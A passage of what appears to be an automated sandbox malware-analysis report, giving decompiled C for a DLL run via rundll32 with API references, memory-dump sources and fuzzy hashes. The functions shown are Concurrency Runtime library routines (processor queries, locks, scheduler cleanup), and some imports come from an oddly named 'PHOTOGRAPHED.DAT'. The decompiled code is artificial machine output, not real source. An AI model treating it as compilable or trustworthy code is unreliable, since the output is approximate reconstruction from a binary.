				intOrPtr* _v4;
				char _v8;
				long _v20;
				long _v24;
				char _v36;
				void* __ebp;
				char* _t12;
				signed short _t13;
				intOrPtr* _t25;
				char* _t30;
				intOrPtr* _t31;
				void* _t34;

				_t34 = __esi;
				_t12 =  &_v8;
				__imp__GetNumaHighestNodeNumber(_t12);
				if(_t12 == 0) {
					_t13 = GetLastError();
					if(_t13 > 0) {
						_t13 = _t13 & 0x0000ffff | 0x80070000;
					}
					_t30 =  &_v36;
					E10013710(_t30, _t13);
					_push(E1002CB4C);
					_push( &_v36);
					L10029E92();
					asm("int3");
					_push(_t30);
					_push(_t30);
					if(L10019B80() < 4) {
						GetProcessAffinityMask(GetCurrentProcess(),  &_v20,  &_v24);
						_t31 = _v4;
						 *((short*)(_t31 + 4)) = 0;
						 *_t31 = _v20;
					} else {
						_t25 = E10028707( *0x10035a54);
						 *0x10036224(_v8, _v4, _t34);
						 *_t25();
					}
					return 1;
				} else {
					return _v8;
				}
			}

0x10016a92
0x10016a98
0x10016a9c
0x10016aa4
0x10016aab
0x10016ab3
0x10016ab8
0x10016ab8
0x10016abe
0x10016ac1
0x10016ac6
0x10016ace
0x10016acf
0x10016ad4
0x10016ad8
0x10016ad9
0x10016ae2
0x10016b15
0x10016b1b
0x10016b20
0x10016b27
0x10016ae4
0x10016aeb
0x10016afb
0x10016b01
0x10016b03
0x10016b2d
0x10016aa6
0x10016aaa
0x10016aaa

APIs

GetNumaHighestNodeNumber.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,0000000C,?), ref: 10016A9C
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,0000000C,?,1002D4A8), ref: 10016AAB
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,0000000C,?), ref: 10016AC1

Memory Dump Source

Source File: 00000003.00000002.392372880.0000000010001000.00000020.00000001.01000000.00000003.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.392367550.0000000010000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392434593.0000000010033000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392439449.0000000010034000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392446015.0000000010036000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_rundll32.jbxd

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorErrorHighestLastNodeNumaNumber
String ID:
API String ID: 2518079563-0
Opcode ID: 6b9b356802e12a4833a6c46ca350557e2d039ac1f070f2f751e56faaa13091fd
Instruction ID: 54fd40064cda201dc1e7e9489a68ec1ebb6203225c2571152e2fada8d84b595c
Opcode Fuzzy Hash: 6b9b356802e12a4833a6c46ca350557e2d039ac1f070f2f751e56faaa13091fd
Instruction Fuzzy Hash: 5911A575500118AFDB12EFB1DD8A99F7BBCEF08245B508465F506EB111EB35EA408BA1

Uniqueness

Uniqueness Score: -1.00%

Function 1000E52C Relevance: 9.0, APIs: 6, Instructions: 50
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E1000E52C(void* __ebx, void* __edx) {
				intOrPtr _t44;
				void* _t55;
				intOrPtr _t69;
				intOrPtr _t70;
				intOrPtr _t71;
				void* _t72;

				_t68 = __edx;
				_t57 = __ebx;
				_t71 =  *((intOrPtr*)(_t72 - 0xa8));
				_t69 =  *((intOrPtr*)(_t72 - 0xac));
				 *(_t72 - 4) =  *(_t72 - 4) | 0xffffffff;
				_t5 = _t69 + 4; // 0x4
				 *((intOrPtr*)(_t72 - 0xac)) = _t5;
				E1001177A(_t5, 0);
				if( *((char*)( *((intOrPtr*)(_t72 - 0xb0)) + 0x11)) != 0) {
					_t21 = _t69 + 0x60; // 0x60
					E1000DCA4(__ebx,  *((intOrPtr*)(_t72 - 0xb8)), __edx, _t69);
					_t70 =  *((intOrPtr*)(_t72 - 0xac));
				} else {
					 *((intOrPtr*)(_t72 - 0xbc)) =  *((intOrPtr*)(_t72 - 0xb8)) + 4;
					E10017400( *((intOrPtr*)(_t72 - 0xb8)) + 4, __edx);
					if( *((char*)(_t69 + 0x51)) == 0) {
						_t15 = _t69 + 0x60; // 0x60
						_t55 = E1000DC76( *((intOrPtr*)(_t72 - 0xb8)), _t15);
						_t70 =  *((intOrPtr*)(_t72 - 0xac));
					} else {
						_t70 =  *((intOrPtr*)(_t72 - 0xac));
						_t55 = E10011740( *((intOrPtr*)(_t72 - 0xc8)), _t70);
					}
					 *((intOrPtr*)(_t71 + 0x30)) =  *((intOrPtr*)(_t71 + 0x30)) - 1;
					E10017640(_t55,  *((intOrPtr*)(_t72 - 0xbc)));
				}
				if( *((intOrPtr*)(_t72 - 0xb4)) != 0) {
					_push( *((intOrPtr*)(_t72 - 0xb4)));
					E1000DE32(_t57,  *((intOrPtr*)(_t72 - 0xc0)), _t70);
					E1000E18D( *((intOrPtr*)(_t72 - 0xb4)));
				}
				_t44 =  *((intOrPtr*)(_t72 - 0xc4));
				 *((intOrPtr*)(_t44 + 0x6c)) = 0xffffffff;
				 *((intOrPtr*)(_t44 + 0x70)) = 0xffffffff;
				 *((intOrPtr*)(_t44 + 0x74)) = 0;
				 *((intOrPtr*)(_t44 + 0x78)) = 0;
				E10010714(_t57, _t70);
				_t46 =  *((intOrPtr*)(_t72 - 0xb0));
				 *(_t70 + 0x30) =  *(_t70 + 0x30) & 0x00000000;
				 *(_t70 + 0x34) =  *(_t70 + 0x34) & 0x00000000;
				 *( *((intOrPtr*)(_t72 - 0xb0)) + 8) =  *( *((intOrPtr*)(_t72 - 0xb0)) + 8) & 0x00000000;
				return E10028D87(E10025403(_t68, _t46), _t57, _t70);
			}

0x1000e52c
0x1000e52c
0x1000e52c
0x1000e532
0x1000e538
0x1000e53c
0x1000e543
0x1000e549
0x1000e558
0x1000e5d1
0x1000e5d5
0x1000e5da
0x1000e55a
0x1000e565
0x1000e56b
0x1000e574
0x1000e5ac
0x1000e5b0
0x1000e5b5
0x1000e576
0x1000e576
0x1000e583
0x1000e583
0x1000e5c1
0x1000e5c4
0x1000e5c4
0x1000e5e7
0x1000e5e9
0x1000e5f5
0x1000e600
0x1000e600
0x1000e605
0x1000e60d
0x1000e614
0x1000e61b
0x1000e622
0x1000e629
0x1000e62e
0x1000e636
0x1000e63a
0x1000e63f
0x1000e64d

APIs

Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT(00000000), ref: 1000E56B
List.LIBCMT ref: 1000E5B0
m_ReleaseWrite@_ReaderWriterLock@details@Concurrency@@QAEXXZ.PHOTOGRAPHED.DAT(00000000), ref: 1000E5C4

Part of subcall function 10011740: SafeRWList.LIBCONCRT ref: 1001174D

SafeRWList.LIBCONCRT ref: 1000E5D5
Concurrency::details::_CancellationTokenState::_DeregisterCallback.LIBCONCRT ref: 1000E5F5
Concurrency::details::_RefCounter::_Release.LIBCONCRT ref: 1000E600
Concurrency::details::ContextBase::ClearAliasTable.LIBCONCRT ref: 1000E629
Concurrency::details::_TaskCollection::_NotifyCompletedChoreAndFree.LIBCONCRT ref: 1000E643

Memory Dump Source

Source File: 00000003.00000002.392372880.0000000010001000.00000020.00000001.01000000.00000003.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.392367550.0000000010000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392434593.0000000010033000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392439449.0000000010034000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392446015.0000000010036000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_rundll32.jbxd

Similarity

API ID: Concurrency::details::_$List$ReaderReleaseSafeWriter$AcquireAliasBase::CallbackCancellationChoreClearCollection::_CompletedConcurrency::details::Concurrency@@ContextCounter::_DeregisterFreeLock::_Lock@details@NotifyState::_TableTaskTokenWriteWrite@_
String ID:
API String ID: 320224426-0
Opcode ID: 92777d533cffc0eb2b1f6473f289b788fc7434f95f589e3af9f53a9ef32f82ba
Instruction ID: 2859a17b76f7b4feabb3a2a3214cbb0fa064358ab37d48fd6c7f22c425815a34
Opcode Fuzzy Hash: 92777d533cffc0eb2b1f6473f289b788fc7434f95f589e3af9f53a9ef32f82ba
Instruction Fuzzy Hash: B7213634A047548FEB64DB24C855B98B7B2FF40369F1142C8E0596B2E2DB74AE85CF52

Uniqueness

Uniqueness Score: -1.00%

Function 10016955 Relevance: 9.0, APIs: 6, Instructions: 50
COMMON

Download Yara Rule

C-Code - Quality: 35%

			E10016955(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4) {
				intOrPtr _v0;
				intOrPtr* _v12;
				char _v16;
				char _v20;
				char _v24;
				long _v28;
				long _v32;
				char _v44;
				char _v92;
				void* __ebp;
				signed short _t25;
				char* _t27;
				signed short _t30;
				char* _t32;
				char* _t33;
				signed short _t34;
				intOrPtr* _t46;
				void* _t61;
				void* _t64;
				intOrPtr* _t65;
				char* _t69;
				intOrPtr* _t70;
				void* _t79;
				void* _t80;
				intOrPtr* _t84;
				intOrPtr* _t85;
				void* _t91;
				void* _t92;
				void* _t94;
				void* _t95;

				_t79 = __edi;
				_t64 = __ebx;
				_t84 = _a4;
				__imp__GetLogicalProcessorInformation(0, _t84, __edi, __esi);
				if(GetLastError() != 0x7a) {
					_t25 = GetLastError();
					if(_t25 > 0) {
						goto L8;
					}
					goto L9;
				} else {
					_t61 =  *0x100361b8( *_t84);
					_t79 = _t61;
					if(_t79 != 0) {
						__imp__GetLogicalProcessorInformation(_t79, _t84);
						if(_t61 != 0) {
							return _t79;
						} else {
							_t25 = GetLastError();
							if(_t25 > 0) {
								L8:
								_t25 = _t25 & 0x0000ffff | 0x80070000;
							}
							L9:
							E10013710( &_v20, _t25);
							_push(E1002CB4C);
							_t27 =  &_v20;
							goto L10;
						}
					} else {
						E1000D95B( &_v16);
						_push(0x1002c31c);
						_t27 =  &_v16;
						L10:
						_push(_t27);
						L10029E92();
						asm("int3");
						_t91 = _t94;
						_t95 = _t94 - 0x10;
						_push(_t64);
						_push(_t84);
						_push(_t79);
						_t85 = GetProcAddress(GetModuleHandleW(L"kernel32.dll"), "GetLogicalProcessorInformationEx");
						if(_t85 == 0) {
							_t30 = GetLastError();
							if(_t30 > 0) {
								goto L20;
							}
							goto L21;
						} else {
							_t65 = _a4;
							 *0x10036224(_v0, 0, _t65);
							 *_t85();
							if(GetLastError() == 0x7a) {
								_t80 =  *0x100361b8( *_t65);
								if(_t80 != 0) {
									 *0x10036224(_v0, _t80, _t65);
									if( *_t85() == 0) {
										goto L13;
									} else {
										return _t80;
									}
								} else {
									E1000D95B( &_v20);
									_push(0x1002c31c);
									_t32 =  &_v20;
									goto L22;
								}
							} else {
								L13:
								_t30 = GetLastError();
								if(_t30 > 0) {
									L20:
									_t30 = _t30 & 0x0000ffff | 0x80070000;
								}
								L21:
								E10013710( &_v24, _t30);
								_push(E1002CB4C);
								_t32 =  &_v24;
								L22:
								L10029E92();
								asm("int3");
								_t92 = _t95;
								_t33 =  &_v92;
								__imp__GetNumaHighestNodeNumber(_t33, _t91, _t32);
								if(_t33 == 0) {
									_t34 = GetLastError();
									if(_t34 > 0) {
										_t34 = _t34 & 0x0000ffff | 0x80070000;
									}
									_t69 =  &_v44;
									E10013710(_t69, _t34);
									_push(E1002CB4C);
									_push( &_v44);
									L10029E92();
									asm("int3");
									_push(_t92);
									_push(_t69);
									_push(_t69);
									if(L10019B80() < 4) {
										GetProcessAffinityMask(GetCurrentProcess(),  &_v28,  &_v32);
										_t70 = _v12;
										 *((short*)(_t70 + 4)) = 0;
										 *_t70 = _v28;
									} else {
										_t46 = E10028707( *0x10035a54);
										 *0x10036224(_v16, _v12, _t85);
										 *_t46();
									}
									return 1;
								} else {
									return _v16;
								}
							}
						}
					}
				}
			}

0x10016955
0x10016955
0x1001695c
0x10016963
0x10016972
0x100169b3
0x100169bb
0x00000000
0x00000000
0x00000000
0x10016974
0x10016976
0x1001697c
0x10016981
0x10016997
0x1001699f
0x100169b2
0x100169a1
0x100169a1
0x100169a9
0x100169bd
0x100169c0
0x100169c0
0x100169c5
0x100169c9
0x100169ce
0x100169d3
0x00000000
0x100169d3
0x10016983
0x10016986
0x1001698b
0x10016990
0x100169d6
0x100169d6
0x100169d7
0x100169dc
0x100169de
0x100169e0
0x100169e3
0x100169e4
0x100169e5
0x100169fd
0x10016a01
0x10016a68
0x10016a70
0x00000000
0x00000000
0x00000000
0x10016a03
0x10016a03
0x10016a0e
0x10016a14
0x10016a1f
0x10016a35
0x10016a3a
0x10016a55
0x10016a5f
0x00000000
0x10016a61
0x10016a67
0x10016a67
0x10016a3c
0x10016a3f
0x10016a44
0x10016a49
0x00000000
0x10016a49
0x10016a21
0x10016a21
0x10016a21
0x10016a29
0x10016a72
0x10016a75
0x10016a75
0x10016a7a
0x10016a7e
0x10016a83
0x10016a88
0x10016a8b
0x10016a8c
0x10016a91
0x10016a93
0x10016a98
0x10016a9c
0x10016aa4
0x10016aab
0x10016ab3
0x10016ab8
0x10016ab8
0x10016abe
0x10016ac1
0x10016ac6
0x10016ace
0x10016acf
0x10016ad4
0x10016ad5
0x10016ad8
0x10016ad9
0x10016ae2
0x10016b15
0x10016b1b
0x10016b20
0x10016b27
0x10016ae4
0x10016aeb
0x10016afb
0x10016b01
0x10016b03
0x10016b2d
0x10016aa6
0x10016aaa
0x10016aaa
0x10016aa4
0x10016a1f
0x10016a01
0x10016981

APIs

GetLogicalProcessorInformation.KERNEL32(00000000,00000000,7FFFFFFF,00000000,0000FFFF,7FFFFFFF,00000000,?,0000000C,?,1002D4A8,00000000,?), ref: 10016963
GetLastError.KERNEL32(?,0000000C,?,1002D4A8,00000000,?), ref: 10016969
GetLogicalProcessorInformation.KERNEL32(00000000,00000000,0000000C,?,1002D4A8,00000000,?), ref: 10016997
GetLastError.KERNEL32 ref: 100169A1
GetLastError.KERNEL32(?,0000000C,?,1002D4A8,00000000,?), ref: 100169B3
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT(00000000,?,0000000C,?,1002D4A8,00000000,?), ref: 100169C9

Memory Dump Source

Source File: 00000003.00000002.392372880.0000000010001000.00000020.00000001.01000000.00000003.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.392367550.0000000010000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392434593.0000000010033000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392439449.0000000010034000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392446015.0000000010036000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_rundll32.jbxd

Similarity

API ID: ErrorLast$InformationLogicalProcessor$Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error
String ID:
API String ID: 2808382621-0
Opcode ID: ebfb234ca43eca713ec65192f746894511cfc24c970e8f775e5473066bf153db
Instruction ID: 5f343af00d84b0b232be8193118680d0a557cedd05353423bd2abdf0e1c4f1bf
Opcode Fuzzy Hash: ebfb234ca43eca713ec65192f746894511cfc24c970e8f775e5473066bf153db
Instruction Fuzzy Hash: 6201F735500025ABD716EB62EC49F9F37BCEF4A291B108825F501DA151DF30E9448AA0

Uniqueness

Uniqueness Score: -1.00%

Function 1000FAF0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 39COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 1000FB12
std::invalid_argument::invalid_argument.LIBCONCRT ref: 1000FB31

Strings

Index out of range, xrefs: 1000FB1E
Index is inside segment which failed to be allocated, xrefs: 1000FB29
Index out of segments table range, xrefs: 1000FB0A

Memory Dump Source

Source File: 00000003.00000002.392372880.0000000010001000.00000020.00000001.01000000.00000003.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.392367550.0000000010000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392434593.0000000010033000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392439449.0000000010034000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392446015.0000000010036000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_rundll32.jbxd

Similarity

API ID: std::invalid_argument::invalid_argument
String ID: Index is inside segment which failed to be allocated$Index out of range$Index out of segments table range
API String ID: 2141394445-635427165
Opcode ID: effd98f778dba9264b07f934e727304d038e259f18ccda4694da96d4d6fa15d2
Instruction ID: e583681b1bfb443b66216c4a3b313eaf561e7ce94ade8fe7631b80e13516a27b
Opcode Fuzzy Hash: effd98f778dba9264b07f934e727304d038e259f18ccda4694da96d4d6fa15d2
Instruction Fuzzy Hash: 97E0D831D0420DA5FB15D5B4ED75DFE73A4DB102C0F50462AA611B180DDB20EE04EC40

Uniqueness

Uniqueness Score: -1.00%

Function 10012BE0 Relevance: 7.6, APIs: 5, Instructions: 106
COMMON

Download Yara Rule

C-Code - Quality: 62%

			E10012BE0(void* __ebx, intOrPtr __ecx, void* __edx, void* __edi) {
				intOrPtr* _t36;
				intOrPtr* _t43;
				signed int _t46;
				intOrPtr* _t47;
				intOrPtr _t51;
				signed int _t54;
				signed int _t62;
				intOrPtr _t67;
				void* _t69;
				signed int _t71;
				intOrPtr* _t73;
				intOrPtr* _t76;
				void* _t78;
				intOrPtr* _t79;

				_t69 = __edx;
				E10028DCC(E1002ABA4, __ebx, __ecx, __edi, 0x38);
				 *((intOrPtr*)(_t78 - 0x18)) = __ecx;
				 *((intOrPtr*)(_t78 - 0x28)) = 0x10002f8c;
				_t71 = 0;
				 *((intOrPtr*)(_t78 - 0x24)) = 0;
				 *((intOrPtr*)(_t78 - 0x14)) = 0;
				_t54 = 0;
				 *((intOrPtr*)(_t78 - 0x20)) = 0;
				 *((intOrPtr*)(_t78 - 4)) = 0;
				E10016EA0(_t78 - 0x44, __ecx + 8);
				_t36 =  *((intOrPtr*)(_t78 - 0x18));
				 *((char*)(_t78 - 4)) = 1;
				_t76 =  *_t36;
				 *_t36 = 1;
				if(_t76 > 1) {
					_t62 = 0;
					_t43 = _t76;
					if(_t76 != 0) {
						do {
							_t43 =  *_t43;
							_t62 = _t62 + 1;
						} while (_t43 != 0);
					}
					_t11 = (_t62 << 2) + 8; // 0x9
					asm("sbb eax, eax");
					_t46 = _t62 << 0x00000002 & _t11;
					if(_t46 == 0) {
						_t47 = 0;
					} else {
						if(_t46 > 0x400) {
							_t47 =  *0x100361b8(_t46);
							if(_t47 != 0) {
								 *_t47 = 0xdddd;
								goto L9;
							}
						} else {
							E10028F40();
							_t47 = _t79;
							if(_t47 != 0) {
								 *_t47 = 0xcccc;
								L9:
								_t47 = _t47 + 8;
							}
						}
					}
					_t71 = E1001299F(_t78 - 0x28, _t69, _t47);
					_t54 = 0;
					 *((intOrPtr*)(_t78 - 0x14)) = _t71;
					if(_t76 != 0) {
						do {
							_t73 =  *_t76;
							if(E10012559(_t76, _t78 - 0x1c) != 0) {
								_t67 =  *((intOrPtr*)(_t78 - 0x18));
								 *_t76 =  *((intOrPtr*)(_t67 + 4));
								 *((intOrPtr*)(_t67 + 4)) = _t76;
							}
							_t51 =  *((intOrPtr*)(_t78 - 0x1c));
							if(_t51 != 0) {
								 *((intOrPtr*)( *((intOrPtr*)(_t78 - 0x14)) + _t54 * 4)) = _t51;
								_t54 = _t54 + 1;
							}
							_t76 = _t73;
						} while (_t73 != 0);
						_t71 =  *((intOrPtr*)(_t78 - 0x14));
					}
				}
				 *((char*)(_t78 - 4)) = 0;
				E10016FD0(_t78 - 0x44);
				while(_t54 != 0) {
					_t54 = _t54 - 1;
					 *0x10036224();
					 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t71 + _t54 * 4)))) + 0xc))))();
					_t71 =  *((intOrPtr*)(_t78 - 0x14));
				}
				return E10028D76(E10013222( *((intOrPtr*)(_t78 - 0x24))), _t54, _t71);
			}

0x10012be0
0x10012be7
0x10012bee
0x10012bf3
0x10012bfa
0x10012bfc
0x10012bff
0x10012c02
0x10012c04
0x10012c0a
0x10012c11
0x10012c16
0x10012c1b
0x10012c20
0x10012c20
0x10012c25
0x10012c2b
0x10012c2d
0x10012c31
0x10012c33
0x10012c33
0x10012c35
0x10012c36
0x10012c33
0x10012c3f
0x10012c44
0x10012c46
0x10012c48
0x10012c7b
0x10012c4a
0x10012c4f
0x10012c65
0x10012c6e
0x10012c70
0x00000000
0x10012c70
0x10012c51
0x10012c51
0x10012c56
0x10012c5a
0x10012c5c
0x10012c76
0x10012c76
0x10012c76
0x10012c5a
0x10012c4f
0x10012c86
0x10012c88
0x10012c8a
0x10012c8f
0x10012c91
0x10012c91
0x10012ca0
0x10012ca2
0x10012ca8
0x10012caa
0x10012caa
0x10012cad
0x10012cb2
0x10012cb7
0x10012cba
0x10012cba
0x10012cbb
0x10012cbd
0x10012cc1
0x10012cc1
0x10012c8f
0x10012cc7
0x10012ccb
0x10012cea
0x10012cd2
0x10012cdd
0x10012ce5
0x10012ce7
0x10012ce7
0x10012cff

APIs

__EH_prolog3_GS.LIBCMT ref: 10012BE7
Concurrency::details::_NonReentrantPPLLock::_Scoped_lock::_Scoped_lock.LIBCONCRT(?,00000038,1000CF95,?,00000000,00000000,1002A452,000000FF,?,1000712A,?,?,00000074,10007B22,?,?), ref: 10012C11

Part of subcall function 10016EA0: Concurrency::details::LockQueueNode::LockQueueNode.LIBCONCRT ref: 10016EB3
Part of subcall function 10016EA0: Concurrency::critical_section::_Acquire_lock.LIBCONCRT ref: 10016EBD

__alloca_probe_16.LIBCMT ref: 10012C51
Concurrency::details::EventWaitNode::Satisfy.LIBCONCRT ref: 10012C99
Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT(?,00000038,1000CF95,?,00000000,00000000,1002A452,000000FF,?,1000712A,?,?,00000074,10007B22,?,?), ref: 10012CCB

Memory Dump Source

Source File: 00000003.00000002.392372880.0000000010001000.00000020.00000001.01000000.00000003.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.392367550.0000000010000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392434593.0000000010033000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392439449.0000000010034000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392446015.0000000010036000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_rundll32.jbxd

Similarity

API ID: Concurrency::details::Concurrency::details::_LockLock::_Node::QueueScoped_lock$Acquire_lockConcurrency::critical_section::_EventH_prolog3_NodeReaderReentrantSatisfyScoped_lock::_Scoped_lock::~_WaitWriter__alloca_probe_16
String ID:
API String ID: 2124646530-0
Opcode ID: e312a8822b419c756290dbf489ed3256a6a6c2eb132ad5e10bc6cb20b7e7d651
Instruction ID: 6509e151b44ae9164f19c7ee4af7fe0f89ba23cc58de6b9dd5f74e5572768fd6
Opcode Fuzzy Hash: e312a8822b419c756290dbf489ed3256a6a6c2eb132ad5e10bc6cb20b7e7d651
Instruction Fuzzy Hash: 99319FB5A002168FCB05CFA8C8415AEB7F1EF48350B614029EA05EB341DB34ED92CBE0

Uniqueness

Uniqueness Score: -1.00%

Function 100140D0 Relevance: 7.6, APIs: 5, Instructions: 85
COMMON

Download Yara Rule

C-Code - Quality: 21%

			E100140D0(void* __ecx) {
				char _v16;
				signed int _t22;
				void* _t24;
				int _t25;
				void* _t28;
				char* _t33;
				void* _t40;
				void* _t44;

				_t28 = __ecx;
				if(_t28 == E1001E5C9()) {
					_t33 =  &_v16;
					E100132B0(_t33);
					_push(0x1002cbbc);
					L8:
					L10029E92();
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					 *0x10036224(_t40, _t44, _t28,  &_v16);
					E10011B31(5, 4,  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t33 + 0x1c)))) + 4))))(),  *((intOrPtr*)(_t33 + 8)));
					return SwitchToThread();
				}
				 *0x10036224();
				_t22 = E10011B31(4, 4,  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t28 + 0x1c)))) + 4))))(),  *((intOrPtr*)(_t28 + 8)));
				asm("lock xadd [ebx+0x2c], eax");
				_t24 = (_t22 | 0xffffffff) - 1;
				_t40 = _t40;
				_t44 = _t44;
				if(_t24 != 0) {
					_t25 = _t24 + 1;
					if(_t25 > 1) {
						_t33 =  &_v16;
						E100132F0(_t33);
						_push(0x1002cb84);
						goto L8;
					}
				} else {
					_t25 = SetEvent( *(_t28 + 0xa8));
				}
				return _t25;
			}

0x100140d7
0x100140e0
0x1001412b
0x1001412e
0x10014133
0x10014147
0x1001414b
0x10014150
0x10014151
0x10014152
0x10014153
0x10014154
0x10014155
0x10014156
0x10014157
0x10014158
0x10014159
0x1001415a
0x1001415b
0x1001415c
0x1001415d
0x1001415e
0x1001415f
0x10014172
0x10014183
0x10016c51
0x10016c51
0x100140f1
0x10014102
0x1001410a
0x1001410f
0x10014110
0x10014111
0x10014112
0x10014123
0x10014127
0x1001413a
0x1001413d
0x10014142
0x00000000
0x10014142
0x10014114
0x1001411a
0x1001411a
0x10014122

APIs

SetEvent.KERNEL32(?,00000000), ref: 1001411A
m?0context_unblock_unbalanced@Concurrency@@QAE@XZ.PHOTOGRAPHED.DAT(00000000), ref: 1001413D
Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 10014102

Part of subcall function 10011B31: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 10011B52

m?0context_self_unblock@Concurrency@@QAE@XZ.PHOTOGRAPHED.DAT ref: 1001412E
Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 10014183

Memory Dump Source

Source File: 00000003.00000002.392372880.0000000010001000.00000020.00000001.01000000.00000003.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.392367550.0000000010000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392434593.0000000010033000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392439449.0000000010034000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392446015.0000000010036000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_rundll32.jbxd

Similarity

API ID: Context$Event$Base::Concurrency::details::$Concurrency@@Trace$Throwm?0context_self_unblock@m?0context_unblock_unbalanced@
String ID:
API String ID: 2392098110-0
Opcode ID: b86f98acc3c5e4acde0f873ea5a82d2964003ad8686ace85044f61baa45e618f
Instruction ID: 82fcc7fb846ee8f5419e2aaab7c562a75b0f934fd8ee5c4f2192f745b8d3b24c
Opcode Fuzzy Hash: b86f98acc3c5e4acde0f873ea5a82d2964003ad8686ace85044f61baa45e618f
Instruction Fuzzy Hash: 55112735700200ABCB05EF64DCD5DAEBBA9EF48371B118065FA15DF292CF74EC818A90

Uniqueness

Uniqueness Score: -1.00%

Function 1001D86F Relevance: 7.6, APIs: 5, Instructions: 56COMMON

Download Yara Rule

APIs

Concurrency::details::SchedulerBase::Cleanup.LIBCONCRT ref: 1001D8A1

Part of subcall function 1001E127: Concurrency::details::SchedulingNode::~SchedulingNode.LIBCONCRT ref: 1001E141
Part of subcall function 1001E127: __EH_prolog3.LIBCMT ref: 10020652
Part of subcall function 1001E127: Concurrency::details::_NonReentrantLock::_Acquire.LIBCONCRT ref: 1002065F
Part of subcall function 1001E127: Concurrency::details::_UnregisterConcRTEventTracing.LIBCONCRT ref: 10020671
Part of subcall function 1001E127: InterlockedPopEntrySList.KERNEL32(10035AB8,00000004,Function_0002A4A3,000000FF), ref: 10020687

m?1_ReentrantBlockingLock@details@Concurrency@@QAE@XZ.PHOTOGRAPHED.DAT(8DD10D40,?,?,?,Function_0002A4A3,000000FF), ref: 1001D8D8

Part of subcall function 10016FC0: DeleteCriticalSection.KERNEL32 ref: 10016FC1

~ListArray.LIBCONCRT ref: 1001D8E3

Part of subcall function 1001D74B: InterlockedFlushSList.KERNEL32(?,?,?,1001D8E8,8DD10D40,?,?,?,Function_0002A4A3,000000FF), ref: 1001D750
Part of subcall function 1001D74B: ListArray.LIBCONCRT ref: 1001D759
Part of subcall function 1001D74B: InterlockedFlushSList.KERNEL32(?,00000000,?,?,1001D8E8,8DD10D40,?,?,?,Function_0002A4A3,000000FF), ref: 1001D762
Part of subcall function 1001D74B: ListArray.LIBCONCRT ref: 1001D76B
Part of subcall function 1001D74B: ListArray.LIBCONCRT ref: 1001D775

~ListArray.LIBCONCRT ref: 1001D8EB

Part of subcall function 1001D7C5: InterlockedFlushSList.KERNEL32(?,?,?,1001D8F0,8DD10D40,?,?,?,Function_0002A4A3,000000FF), ref: 1001D7CA
Part of subcall function 1001D7C5: ListArray.LIBCONCRT ref: 1001D7D3
